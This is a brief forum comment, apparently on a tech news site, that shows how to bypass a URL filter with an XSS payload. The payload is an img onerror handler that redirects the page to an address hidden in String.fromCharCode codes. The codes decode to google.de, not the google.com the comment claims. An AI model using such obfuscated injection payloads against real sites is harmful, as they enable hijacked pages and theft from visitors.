News for hackers. Stuff that matters.
Re:Show HN: URLs for form fields you don't want to answer [G... by omgpeaches on Thursday March 26, 2015 @08:14AM (#9268966)
Well, you could bypass that by using String.fromCharCode() eventually?

i.e.

https://igot99inputs.appspot.com/andthisainttwo<img src=x onerror=document.location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,103,111,111,103,108,101,46,100,101); >

(that's google.com)

There are no comments on this comment yet.